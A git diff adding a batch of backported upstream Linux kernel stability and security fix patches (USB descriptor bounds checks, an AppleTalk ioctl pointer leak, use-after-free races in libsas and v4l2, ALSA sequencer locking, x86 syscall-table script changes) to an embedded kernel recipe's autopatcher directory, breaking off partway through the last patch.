d672c306e00a904adcbdce42b51b23b3e906f5cf Mon Sep 17 00:00:00 2001 +From: Mathias Payer +Date: Wed, 5 Dec 2018 21:19:59 +0100 +Subject: USB: check usb_get_extra_descriptor for proper size + +commit 704620afc70cf47abb9d6a1a57f3825d2bca49cf upstream. + +When reading an extra descriptor, we need to properly check the minimum +and maximum size allowed, to prevent from invalid data being sent by a +device. + +Reported-by: Hui Peng +Reported-by: Mathias Payer +Co-developed-by: Linus Torvalds +Signed-off-by: Hui Peng +Signed-off-by: Mathias Payer +Signed-off-by: Linus Torvalds +Cc: stable +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/core/hub.c | 3 ++- + drivers/usb/core/usb.c | 6 +++--- + drivers/usb/host/hwa-hc.c | 2 +- + include/linux/usb.h | 4 ++-- + 4 files changed, 8 insertions(+), 7 deletions(-) + +diff --git a/drivers/usb/core/hub.c b/drivers/usb/core/hub.c +index 2391dac86c587..19cc2c03906d8 100644 +--- a/drivers/usb/core/hub.c ++++ b/drivers/usb/core/hub.c +@@ -2236,7 +2236,8 @@ static int usb_enumerate_device_otg(struct usb_device *udev) + /* descriptor may appear anywhere in config */ + if (__usb_get_extra_descriptor (udev->rawdescriptors[0], + le16_to_cpu(udev->config[0].desc.wTotalLength), +- USB_DT_OTG, (void **) &desc) == 0) { ++ USB_DT_OTG, (void **) &desc, ++ sizeof(*desc)) == 0) { + if (desc->bmAttributes & USB_OTG_HNP) { + unsigned port1 = udev->portnum; + +diff --git a/drivers/usb/core/usb.c b/drivers/usb/core/usb.c +index b75776ae46646..fdeb21116bc6c 100644 +--- a/drivers/usb/core/usb.c ++++ b/drivers/usb/core/usb.c +@@ -664,14 +664,14 @@ EXPORT_SYMBOL_GPL(usb_get_current_frame_number); + */ + + int __usb_get_extra_descriptor(char *buffer, unsigned size, +- unsigned char type, void **ptr) ++ unsigned char type, void **ptr, size_t minsize) + { + struct usb_descriptor_header *header; + + while (size >= sizeof(struct usb_descriptor_header)) { + header = (struct usb_descriptor_header *)buffer; + +- if (header->bLength < 2) { ++ if (header->bLength < 2 || header->bLength > size) { + printk(KERN_ERR + "%s: bogus descriptor, type %d length %d\n", + usbcore_name, +@@ -680,7 +680,7 @@ int __usb_get_extra_descriptor(char *buffer, unsigned size, + return -1; + } + +- if (header->bDescriptorType == type) { ++ if (header->bDescriptorType == type && header->bLength >= minsize) { + *ptr = header; + return 0; + } +diff --git a/drivers/usb/host/hwa-hc.c b/drivers/usb/host/hwa-hc.c +index 1db0626c8bf41..97750f162f012 100644 +--- a/drivers/usb/host/hwa-hc.c ++++ b/drivers/usb/host/hwa-hc.c +@@ -654,7 +654,7 @@ static int hwahc_security_create(struct hwahc *hwahc) + top = itr + itr_size; + result = __usb_get_extra_descriptor(usb_dev->rawdescriptors[index], + le16_to_cpu(usb_dev->actconfig->desc.wTotalLength), +- USB_DT_SECURITY, (void **) &secd); ++ USB_DT_SECURITY, (void **) &secd, sizeof(*secd)); + if (result == -1) { + dev_warn(dev, "BUG? WUSB host has no security descriptors\n"); + return 0; +diff --git a/include/linux/usb.h b/include/linux/usb.h +index 0f963c15d0cdc..2ddc93aea4a14 100644 +--- a/include/linux/usb.h ++++ b/include/linux/usb.h +@@ -329,11 +329,11 @@ struct usb_host_bos { + }; + + int __usb_get_extra_descriptor(char *buffer, unsigned size, +- unsigned char type, void **ptr); ++ unsigned char type, void **ptr, size_t min); + #define usb_get_extra_descriptor(ifpoint, type, ptr) \ + __usb_get_extra_descriptor((ifpoint)->extra, \ + (ifpoint)->extralen, \ +- type, (void **)ptr) ++ type, (void **)ptr, sizeof(**(ptr))) + + /* ----------------------------------------------------------------------- */ + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0476-2ababd51858f-netappletalk fix minor pointer leak to userspace in SIOCFINDIPDDPRT.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0476-2ababd51858f-netappletalk fix minor pointer leak to userspace in SIOCFINDIPDDPRT.patch new file mode 100644 index 0000000..34f9975 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0476-2ababd51858f-netappletalk fix minor pointer leak to userspace in SIOCFINDIPDDPRT.patch @@ -0,0 +1,43 @@ +From 2ababd51858f71ef174a1bb2fe045f0b23f04c1c Mon Sep 17 00:00:00 2001 +From: Willy Tarreau +Date: Wed, 12 Sep 2018 07:36:35 +0200 +Subject: net/appletalk: fix minor pointer leak to userspace in SIOCFINDIPDDPRT + +[ Upstream commit 9824dfae5741275473a23a7ed5756c7b6efacc9d ] + +Fields ->dev and ->next of struct ipddp_route may be copied to +userspace on the SIOCFINDIPDDPRT ioctl. This is only accessible +to CAP_NET_ADMIN though. Let's manually copy the relevant fields +instead of using memcpy(). + +BugLink: http://blog.infosectcbr.com.au/2018/09/linux-kernel-infoleaks.html +Cc: Jann Horn +Signed-off-by: Willy Tarreau +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + drivers/net/appletalk/ipddp.c | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +diff --git a/drivers/net/appletalk/ipddp.c b/drivers/net/appletalk/ipddp.c +index 2e4649655181d..4e98e5aff7c59 100644 +--- a/drivers/net/appletalk/ipddp.c ++++ b/drivers/net/appletalk/ipddp.c +@@ -284,8 +284,12 @@ static int ipddp_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) + case SIOCFINDIPDDPRT: + spin_lock_bh(&ipddp_route_lock); + rp = __ipddp_find_route(&rcp); +- if (rp) +- memcpy(&rcp2, rp, sizeof(rcp2)); ++ if (rp) { ++ memset(&rcp2, 0, sizeof(rcp2)); ++ rcp2.ip = rp->ip; ++ rcp2.at = rp->at; ++ rcp2.flags = rp->flags; ++ } + spin_unlock_bh(&ipddp_route_lock); + + if (rp) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0477-ec22b57b0527-scsi libsas fix a race condition when smp task timeout.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0477-ec22b57b0527-scsi libsas fix a race condition when smp task timeout.patch new file mode 100644 index 0000000..0b6d063 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0477-ec22b57b0527-scsi libsas fix a race condition when smp task timeout.patch @@ -0,0 +1,67 @@ +From ec22b57b0527530cecda657f9f1ec2f8068150a0 Mon Sep 17 00:00:00 2001 +From: Jason Yan +Date: Tue, 25 Sep 2018 10:56:54 +0800 +Subject: scsi: libsas: fix a race condition when smp task timeout + +commit b90cd6f2b905905fb42671009dc0e27c310a16ae upstream. + +When the lldd is processing the complete sas task in interrupt and set the +task stat as SAS_TASK_STATE_DONE, the smp timeout timer is able to be +triggered at the same time. And smp_task_timedout() will complete the task +wheter the SAS_TASK_STATE_DONE is set or not. Then the sas task may freed +before lldd end the interrupt process. Thus a use-after-free will happen. + +Fix this by calling the complete() only when SAS_TASK_STATE_DONE is not +set. And remove the check of the return value of the del_timer(). Once the +LLDD sets DONE, it must call task->done(), which will call +smp_task_done()->complete() and the task will be completed and freed +correctly. + +Reported-by: chenxiang +Signed-off-by: Jason Yan +CC: John Garry +CC: Johannes Thumshirn +CC: Ewan Milne +CC: Christoph Hellwig +CC: Tomas Henzl +CC: Dan Williams +CC: Hannes Reinecke +Reviewed-by: Hannes Reinecke +Reviewed-by: John Garry +Reviewed-by: Johannes Thumshirn +Signed-off-by: Martin K. Petersen +Cc: Guenter Roeck +--- + drivers/scsi/libsas/sas_expander.c | 9 ++++----- + 1 file changed, 4 insertions(+), 5 deletions(-) + +diff --git a/drivers/scsi/libsas/sas_expander.c b/drivers/scsi/libsas/sas_expander.c +index 22450abf0a036..773f867293045 100644 +--- a/drivers/scsi/libsas/sas_expander.c ++++ b/drivers/scsi/libsas/sas_expander.c +@@ -47,17 +47,16 @@ static void smp_task_timedout(unsigned long _task) + unsigned long flags; + + spin_lock_irqsave(&task->task_state_lock, flags); +- if (!(task->task_state_flags & SAS_TASK_STATE_DONE)) ++ if (!(task->task_state_flags & SAS_TASK_STATE_DONE)) { + task->task_state_flags |= SAS_TASK_STATE_ABORTED; ++ complete(&task->slow_task->completion); ++ } + spin_unlock_irqrestore(&task->task_state_lock, flags); +- +- complete(&task->slow_task->completion); + } + + static void smp_task_done(struct sas_task *task) + { +- if (!del_timer(&task->slow_task->timer)) +- return; ++ del_timer(&task->slow_task->timer); + complete(&task->slow_task->completion); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0478.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0478.diff new file mode 100644 index 0000000..f5612d0 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0478.diff @@ -0,0 +1,12 @@ +diff --git a/block/blk-core.c b/block/blk-core.c +index d6f74dd..553b44d 100644 +--- a/block/blk-core.c ++++ b/block/blk-core.c +@@ -747,6 +747,7 @@ + + fail: + blk_free_flush_queue(q->fq); ++ q->fq = NULL; + return NULL; + } + EXPORT_SYMBOL(blk_init_allocated_queue); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0479.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0479.diff new file mode 100644 index 0000000..6bf8f35 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0479.diff @@ -0,0 +1,12 @@ +diff --git a/drivers/net/wireless/rsi/rsi_91x_mac80211.c b/drivers/net/wireless/rsi/rsi_91x_mac80211.c +index aeaf87b..8e9e1de 100644 +--- a/drivers/net/wireless/rsi/rsi_91x_mac80211.c ++++ b/drivers/net/wireless/rsi/rsi_91x_mac80211.c +@@ -199,6 +199,7 @@ + ieee80211_stop_queues(hw); + ieee80211_unregister_hw(hw); + ieee80211_free_hw(hw); ++ adapter->hw = NULL; + } + + rsi_remove_dbgfs(adapter); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0480-6aab3aa52366-ALSA seq Make ioctls racefree.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0480-6aab3aa52366-ALSA seq Make ioctls racefree.patch new file mode 100644 index 0000000..89f799f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0480-6aab3aa52366-ALSA seq Make ioctls racefree.patch @@ -0,0 +1,81 @@ +From 6aab3aa52366a0051e5abf8aae4616c42053fd8e Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Tue, 9 Jan 2018 23:11:03 +0100 +Subject: ALSA: seq: Make ioctls race-free + +commit b3defb791b26ea0683a93a4f49c77ec45ec96f10 upstream. + +The ALSA sequencer ioctls have no protection against racy calls while +the concurrent operations may lead to interfere with each other. As +reported recently, for example, the concurrent calls of setting client +pool with a combination of write calls may lead to either the +unkillable dead-lock or UAF. + +As a slightly big hammer solution, this patch introduces the mutex to +make each ioctl exclusive. Although this may reduce performance via +parallel ioctl calls, usually it's not demanded for sequencer usages, +hence it should be negligible. + +Reported-by: Luo Quan +Reviewed-by: Kees Cook +Reviewed-by: Greg Kroah-Hartman +Signed-off-by: Takashi Iwai +[bwh: Backported to 4.4: ioctl dispatch is done from snd_seq_do_ioctl(); + take the mutex and add ret variable there.] +Signed-off-by: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + sound/core/seq/seq_clientmgr.c | 10 ++++++++-- + sound/core/seq/seq_clientmgr.h | 1 + + 2 files changed, 9 insertions(+), 2 deletions(-) + +diff --git a/sound/core/seq/seq_clientmgr.c b/sound/core/seq/seq_clientmgr.c +index 0a52e377a617..83bf65ae8251 100644 +--- a/sound/core/seq/seq_clientmgr.c ++++ b/sound/core/seq/seq_clientmgr.c +@@ -236,6 +236,7 @@ static struct snd_seq_client *seq_create_client1(int client_index, int poolsize) + rwlock_init(&client->ports_lock); + mutex_init(&client->ports_mutex); + INIT_LIST_HEAD(&client->ports_list_head); ++ mutex_init(&client->ioctl_mutex); + + /* find free slot in the client table */ + spin_lock_irqsave(&clients_lock, flags); +@@ -2200,6 +2201,7 @@ static int snd_seq_do_ioctl(struct snd_seq_client *client, unsigned int cmd, + void __user *arg) + { + struct seq_ioctl_table *p; ++ int ret; + + switch (cmd) { + case SNDRV_SEQ_IOCTL_PVERSION: +@@ -2213,8 +2215,12 @@ static int snd_seq_do_ioctl(struct snd_seq_client *client, unsigned int cmd, + if (! arg) + return -EFAULT; + for (p = ioctl_tables; p->cmd; p++) { +- if (p->cmd == cmd) +- return p->func(client, arg); ++ if (p->cmd == cmd) { ++ mutex_lock(&client->ioctl_mutex); ++ ret = p->func(client, arg); ++ mutex_unlock(&client->ioctl_mutex); ++ return ret; ++ } + } + pr_debug("ALSA: seq unknown ioctl() 0x%x (type='%c', number=0x%02x)\n", + cmd, _IOC_TYPE(cmd), _IOC_NR(cmd)); +diff --git a/sound/core/seq/seq_clientmgr.h b/sound/core/seq/seq_clientmgr.h +index 20f0a725ec7d..91f8f165bfdc 100644 +--- a/sound/core/seq/seq_clientmgr.h ++++ b/sound/core/seq/seq_clientmgr.h +@@ -59,6 +59,7 @@ struct snd_seq_client { + struct list_head ports_list_head; + rwlock_t ports_lock; + struct mutex ports_mutex; ++ struct mutex ioctl_mutex; + int convert32; /* convert 32->64bit */ + + /* output pool */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0481-8f7db030a639-perfhwbp Simplify the perfhwbp code fix documentation.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0481-8f7db030a639-perfhwbp Simplify the perfhwbp code fix documentation.patch new file mode 100644 index 0000000..2d16854 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0481-8f7db030a639-perfhwbp Simplify the perfhwbp code fix documentation.patch @@ -0,0 +1,89 @@ +From 8f7db030a6398638515c645184ad261d9ea58559 Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Mon, 26 Mar 2018 15:39:07 -1000 +Subject: perf/hwbp: Simplify the perf-hwbp code, fix documentation + +commit f67b15037a7a50c57f72e69a6d59941ad90a0f0f upstream. + +Annoyingly, modify_user_hw_breakpoint() unnecessarily complicates the +modification of a breakpoint - simplify it and remove the pointless +local variables. + +Also update the stale Docbook while at it. + +Signed-off-by: Linus Torvalds +Acked-by: Thomas Gleixner +Cc: +Cc: Alexander Shishkin +Cc: Andy Lutomirski +Cc: Arnaldo Carvalho de Melo +Cc: Frederic Weisbecker +Cc: Jiri Olsa +Cc: Peter Zijlstra +Cc: Stephane Eranian +Cc: Vince Weaver +Signed-off-by: Ingo Molnar +Signed-off-by: Greg Kroah-Hartman +--- + kernel/events/hw_breakpoint.c | 30 +++++++----------------------- + 1 file changed, 7 insertions(+), 23 deletions(-) + +diff --git a/kernel/events/hw_breakpoint.c b/kernel/events/hw_breakpoint.c +index 9803a6600d499..a3ff729f3000a 100644 +--- a/kernel/events/hw_breakpoint.c ++++ b/kernel/events/hw_breakpoint.c +@@ -427,16 +427,9 @@ EXPORT_SYMBOL_GPL(register_user_hw_breakpoint); + * modify_user_hw_breakpoint - modify a user-space hardware breakpoint + * @bp: the breakpoint structure to modify + * @attr: new breakpoint attributes +- * @triggered: callback to trigger when we hit the breakpoint +- * @tsk: pointer to 'task_struct' of the process to which the address belongs + */ + int modify_user_hw_breakpoint(struct perf_event *bp, struct perf_event_attr *attr) + { +- u64 old_addr = bp->attr.bp_addr; +- u64 old_len = bp->attr.bp_len; +- int old_type = bp->attr.bp_type; +- int err = 0; +- + /* + * modify_user_hw_breakpoint can be invoked with IRQs disabled and hence it + * will not be possible to raise IPIs that invoke __perf_event_disable. +@@ -451,27 +444,18 @@ int modify_user_hw_breakpoint(struct perf_event *bp, struct perf_event_attr *att + bp->attr.bp_addr = attr->bp_addr; + bp->attr.bp_type = attr->bp_type; + bp->attr.bp_len = attr->bp_len; ++ bp->attr.disabled = 1; + +- if (attr->disabled) +- goto end; +- +- err = validate_hw_breakpoint(bp); +- if (!err) +- perf_event_enable(bp); ++ if (!attr->disabled) { ++ int err = validate_hw_breakpoint(bp); + +- if (err) { +- bp->attr.bp_addr = old_addr; +- bp->attr.bp_type = old_type; +- bp->attr.bp_len = old_len; +- if (!bp->attr.disabled) +- perf_event_enable(bp); ++ if (err) ++ return err; + +- return err; ++ perf_event_enable(bp); ++ bp->attr.disabled = 0; + } + +-end: +- bp->attr.disabled = attr->disabled; +- + return 0; + } + EXPORT_SYMBOL_GPL(modify_user_hw_breakpoint); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0482-58b7ce6f9ef2-scsi sg allocate with GFPZERO in sgbuildindirect.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0482-58b7ce6f9ef2-scsi sg allocate with GFPZERO in sgbuildindirect.patch new file mode 100644 index 0000000..766ee14 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0482-58b7ce6f9ef2-scsi sg allocate with GFPZERO in sgbuildindirect.patch @@ -0,0 +1,37 @@ +From 58b7ce6f9ef2367f86384b20458642945993b816 Mon Sep 17 00:00:00 2001 +From: Alexander Potapenko +Date: Fri, 18 May 2018 16:23:18 +0200 +Subject: scsi: sg: allocate with __GFP_ZERO in sg_build_indirect() + +commit a45b599ad808c3c982fdcdc12b0b8611c2f92824 upstream. + +This shall help avoid copying uninitialized memory to the userspace when +calling ioctl(fd, SG_IO) with an empty command. + +Reported-by: syzbot+7d26fc1eea198488deab@syzkaller.appspotmail.com +Cc: stable@vger.kernel.org +Signed-off-by: Alexander Potapenko +Acked-by: Douglas Gilbert +Reviewed-by: Johannes Thumshirn +Signed-off-by: Martin K. Petersen +Signed-off-by: Greg Kroah-Hartman +--- + drivers/scsi/sg.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/scsi/sg.c b/drivers/scsi/sg.c +index 726aef8210aa9..a77a9e412552d 100644 +--- a/drivers/scsi/sg.c ++++ b/drivers/scsi/sg.c +@@ -1950,7 +1950,7 @@ retry: + num = (rem_sz > scatter_elem_sz_prev) ? + scatter_elem_sz_prev : rem_sz; + +- schp->pages[k] = alloc_pages(gfp_mask, order); ++ schp->pages[k] = alloc_pages(gfp_mask | __GFP_ZERO, order); + if (!schp->pages[k]) + goto out; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0483-10c134df948c-media v4l event Prevent freeing event subscriptions while accessed.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0483-10c134df948c-media v4l event Prevent freeing event subscriptions while accessed.patch new file mode 100644 index 0000000..fb5f85d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0483-10c134df948c-media v4l event Prevent freeing event subscriptions while accessed.patch @@ -0,0 +1,160 @@ +From 10c134df948c2d581f5b89a44072a07ba8cf4069 Mon Sep 17 00:00:00 2001 +From: Sakari Ailus +Date: Tue, 11 Sep 2018 05:32:37 -0400 +Subject: media: v4l: event: Prevent freeing event subscriptions while accessed + +commit ad608fbcf166fec809e402d548761768f602702c upstream. + +The event subscriptions are added to the subscribed event list while +holding a spinlock, but that lock is subsequently released while still +accessing the subscription object. This makes it possible to unsubscribe +the event --- and freeing the subscription object's memory --- while +the subscription object is simultaneously accessed. + +Prevent this by adding a mutex to serialise the event subscription and +unsubscription. This also gives a guarantee to the callback ops that the +add op has returned before the del op is called. + +This change also results in making the elems field less special: +subscriptions are only added to the event list once they are fully +initialised. + +Signed-off-by: Sakari Ailus +Reviewed-by: Hans Verkuil +Reviewed-by: Laurent Pinchart +Cc: stable@vger.kernel.org # for 4.14 and up +Fixes: c3b5b0241f62 ("V4L/DVB: V4L: Events: Add backend") +Signed-off-by: Mauro Carvalho Chehab +Signed-off-by: Greg Kroah-Hartman +--- + drivers/media/v4l2-core/v4l2-event.c | 37 ++++++++++++++++++------------------ + drivers/media/v4l2-core/v4l2-fh.c | 2 ++ + include/media/v4l2-fh.h | 1 + + 3 files changed, 22 insertions(+), 18 deletions(-) + +diff --git a/drivers/media/v4l2-core/v4l2-event.c b/drivers/media/v4l2-core/v4l2-event.c +index 8761aab99de95..4b1a347d2b3ad 100644 +--- a/drivers/media/v4l2-core/v4l2-event.c ++++ b/drivers/media/v4l2-core/v4l2-event.c +@@ -119,14 +119,6 @@ static void __v4l2_event_queue_fh(struct v4l2_fh *fh, const struct v4l2_event *e + if (sev == NULL) + return; + +- /* +- * If the event has been added to the fh->subscribed list, but its +- * add op has not completed yet elems will be 0, treat this as +- * not being subscribed. +- */ +- if (!sev->elems) +- return; +- + /* Increase event sequence number on fh. */ + fh->sequence++; + +@@ -209,6 +201,7 @@ int v4l2_event_subscribe(struct v4l2_fh *fh, + struct v4l2_subscribed_event *sev, *found_ev; + unsigned long flags; + unsigned i; ++ int ret = 0; + + if (sub->type == V4L2_EVENT_ALL) + return -EINVAL; +@@ -226,31 +219,36 @@ int v4l2_event_subscribe(struct v4l2_fh *fh, + sev->flags = sub->flags; + sev->fh = fh; + sev->ops = ops; ++ sev->elems = elems; ++ ++ mutex_lock(&fh->subscribe_lock); + + spin_lock_irqsave(&fh->vdev->fh_lock, flags); + found_ev = v4l2_event_subscribed(fh, sub->type, sub->id); +- if (!found_ev) +- list_add(&sev->list, &fh->subscribed); + spin_unlock_irqrestore(&fh->vdev->fh_lock, flags); + + if (found_ev) { ++ /* Already listening */ + kfree(sev); +- return 0; /* Already listening */ ++ goto out_unlock; + } + + if (sev->ops && sev->ops->add) { +- int ret = sev->ops->add(sev, elems); ++ ret = sev->ops->add(sev, elems); + if (ret) { +- sev->ops = NULL; +- v4l2_event_unsubscribe(fh, sub); +- return ret; ++ kfree(sev); ++ goto out_unlock; + } + } + +- /* Mark as ready for use */ +- sev->elems = elems; ++ spin_lock_irqsave(&fh->vdev->fh_lock, flags); ++ list_add(&sev->list, &fh->subscribed); ++ spin_unlock_irqrestore(&fh->vdev->fh_lock, flags); + +- return 0; ++out_unlock: ++ mutex_unlock(&fh->subscribe_lock); ++ ++ return ret; + } + EXPORT_SYMBOL_GPL(v4l2_event_subscribe); + +@@ -289,6 +287,8 @@ int v4l2_event_unsubscribe(struct v4l2_fh *fh, + return 0; + } + ++ mutex_lock(&fh->subscribe_lock); ++ + spin_lock_irqsave(&fh->vdev->fh_lock, flags); + + sev = v4l2_event_subscribed(fh, sub->type, sub->id); +@@ -307,6 +307,7 @@ int v4l2_event_unsubscribe(struct v4l2_fh *fh, + sev->ops->del(sev); + + kfree(sev); ++ mutex_unlock(&fh->subscribe_lock); + + return 0; + } +diff --git a/drivers/media/v4l2-core/v4l2-fh.c b/drivers/media/v4l2-core/v4l2-fh.c +index c97067a25bd29..1d076deb05a90 100644 +--- a/drivers/media/v4l2-core/v4l2-fh.c ++++ b/drivers/media/v4l2-core/v4l2-fh.c +@@ -49,6 +49,7 @@ void v4l2_fh_init(struct v4l2_fh *fh, struct video_device *vdev) + INIT_LIST_HEAD(&fh->available); + INIT_LIST_HEAD(&fh->subscribed); + fh->sequence = -1; ++ mutex_init(&fh->subscribe_lock); + } + EXPORT_SYMBOL_GPL(v4l2_fh_init); + +@@ -93,6 +94,7 @@ void v4l2_fh_exit(struct v4l2_fh *fh) + if (fh->vdev == NULL) + return; + v4l2_event_unsubscribe_all(fh); ++ mutex_destroy(&fh->subscribe_lock); + fh->vdev = NULL; + } + EXPORT_SYMBOL_GPL(v4l2_fh_exit); +diff --git a/include/media/v4l2-fh.h b/include/media/v4l2-fh.h +index 803516775162d..4fdcd0d807d70 100644 +--- a/include/media/v4l2-fh.h ++++ b/include/media/v4l2-fh.h +@@ -43,6 +43,7 @@ struct v4l2_fh { + wait_queue_head_t wait; + struct list_head subscribed; /* Subscribed events */ + struct list_head available; /* Dequeueable event */ ++ struct mutex subscribe_lock; + unsigned int navailable; + u32 sequence; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0484.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0484.diff new file mode 100644 index 0000000..2f166e8 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0484.diff @@ -0,0 +1,31 @@ +diff --git a/arch/x86/syscalls/syscalltbl.sh b/arch/x86/syscalls/syscalltbl.sh +index 0e7f8ec..167965e 100644 +--- a/arch/x86/syscalls/syscalltbl.sh ++++ b/arch/x86/syscalls/syscalltbl.sh +@@ -3,13 +3,21 @@ + in="$1" + out="$2" + ++emit() { ++ abi="$1" ++ nr="$2" ++ entry="$3" ++ compat="$4" ++ if [ -n "$compat" ]; then ++ echo "__SYSCALL_${abi}($nr, $entry, $compat)" ++ elif [ -n "$entry" ]; then ++ echo "__SYSCALL_${abi}($nr, $entry, $entry)" ++ fi ++} ++ + grep '^[0-9]' "$in" | sort -n | ( + while read nr abi name entry compat; do + abi=`echo "$abi" | tr '[a-z]' '[A-Z]'` +- if [ -n "$compat" ]; then +- echo "__SYSCALL_${abi}($nr, $entry, $compat)" +- elif [ -n "$entry" ]; then +- echo "__SYSCALL_${abi}($nr, $entry, $entry)" +- fi ++ emit "$abi" "$nr" "$entry" "$compat" + done + ) > "$out" diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0485.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0485.diff new file mode 100644 index 0000000..3f847f1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0485.diff @@ -0,0 +1,90 @@ +diff --git a/arch/x86/kernel/asm-offsets_64.c b/arch/x86/kernel/asm-offsets_64.c +index e7c798b..72a262a 100644 +--- a/arch/x86/kernel/asm-offsets_64.c ++++ b/arch/x86/kernel/asm-offsets_64.c +@@ -1,12 +1,6 @@ + #include + + #define __SYSCALL_64(nr, sym, compat) [nr] = 1, +-#define __SYSCALL_COMMON(nr, sym, compat) [nr] = 1, +-#ifdef CONFIG_X86_X32_ABI +-# define __SYSCALL_X32(nr, sym, compat) [nr] = 1, +-#else +-# define __SYSCALL_X32(nr, sym, compat) /* nothing */ +-#endif + static char syscalls_64[] = { + #include + }; +diff --git a/arch/x86/kernel/syscall_64.c b/arch/x86/kernel/syscall_64.c +index 4ac730b..9ed5128 100644 +--- a/arch/x86/kernel/syscall_64.c ++++ b/arch/x86/kernel/syscall_64.c +@@ -6,14 +6,6 @@ + #include + #include + +-#define __SYSCALL_COMMON(nr, sym, compat) __SYSCALL_64(nr, sym, compat) +- +-#ifdef CONFIG_X86_X32_ABI +-# define __SYSCALL_X32(nr, sym, compat) __SYSCALL_64(nr, sym, compat) +-#else +-# define __SYSCALL_X32(nr, sym, compat) /* nothing */ +-#endif +- + #define __SYSCALL_64(nr, sym, compat) extern asmlinkage void sym(void) ; + #include + #undef __SYSCALL_64 +diff --git a/arch/x86/syscalls/syscalltbl.sh b/arch/x86/syscalls/syscalltbl.sh +index 167965e..5ebeaf1 100644 +--- a/arch/x86/syscalls/syscalltbl.sh ++++ b/arch/x86/syscalls/syscalltbl.sh +@@ -18,6 +18,21 @@ + grep '^[0-9]' "$in" | sort -n | ( + while read nr abi name entry compat; do + abi=`echo "$abi" | tr '[a-z]' '[A-Z]'` +- emit "$abi" "$nr" "$entry" "$compat" ++ if [ "$abi" == "COMMON" -o "$abi" == "64" ]; then ++ # COMMON is the same as 64, except that we don't expect X32 ++ # programs to use it. Our expectation has nothing to do with ++ # any generated code, so treat them the same. ++ emit 64 "$nr" "$entry" "$compat" ++ elif [ "$abi" == "X32" ]; then ++ # X32 is equivalent to 64 on an X32-compatible kernel. ++ echo "#ifdef CONFIG_X86_X32_ABI" ++ emit 64 "$nr" "$entry" "$compat" ++ echo "#endif" ++ elif [ "$abi" == "I386" ]; then ++ emit "$abi" "$nr" "$entry" "$compat" ++ else ++ echo "Unknown abi $abi" >&2 ++ exit 1 ++ fi + done + ) > "$out" +diff --git a/arch/x86/um/sys_call_table_64.c b/arch/x86/um/sys_call_table_64.c +index 9578308..b18689f 100644 +--- a/arch/x86/um/sys_call_table_64.c ++++ b/arch/x86/um/sys_call_table_64.c +@@ -33,9 +33,6 @@ + #define stub_execve sys_execve + #define stub_rt_sigreturn sys_rt_sigreturn + +-#define __SYSCALL_COMMON(nr, sym, compat) __SYSCALL_64(nr, sym, compat) +-#define __SYSCALL_X32(nr, sym, compat) /* Not supported */ +- + #define __SYSCALL_64(nr, sym, compat) extern asmlinkage void sym(void) ; + #include + +diff --git a/arch/x86/um/user-offsets.c b/arch/x86/um/user-offsets.c +index ce7e360..5edf4f4 100644 +--- a/arch/x86/um/user-offsets.c ++++ b/arch/x86/um/user-offsets.c +@@ -15,8 +15,6 @@ + }; + #else + #define __SYSCALL_64(nr, sym, compat) [nr] = 1, +-#define __SYSCALL_COMMON(nr, sym, compat) [nr] = 1, +-#define __SYSCALL_X32(nr, sym, compat) /* Not supported */ + static char syscalls[] = { + #include + }; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0486.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0486.diff new file mode 100644 index 0000000..190d826 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0486.diff @@ -0,0 +1,172 @@ +diff --git a/arch/x86/ia32/syscall_ia32.c b/arch/x86/ia32/syscall_ia32.c +index 4754ba0..87ef508 100644 +--- a/arch/x86/ia32/syscall_ia32.c ++++ b/arch/x86/ia32/syscall_ia32.c +@@ -5,11 +5,11 @@ + #include + #include + +-#define __SYSCALL_I386(nr, sym, compat) extern asmlinkage void compat(void) ; ++#define __SYSCALL_I386(nr, sym) extern asmlinkage void sym(void) ; + #include + #undef __SYSCALL_I386 + +-#define __SYSCALL_I386(nr, sym, compat) [nr] = compat, ++#define __SYSCALL_I386(nr, sym) [nr] = sym, + + typedef 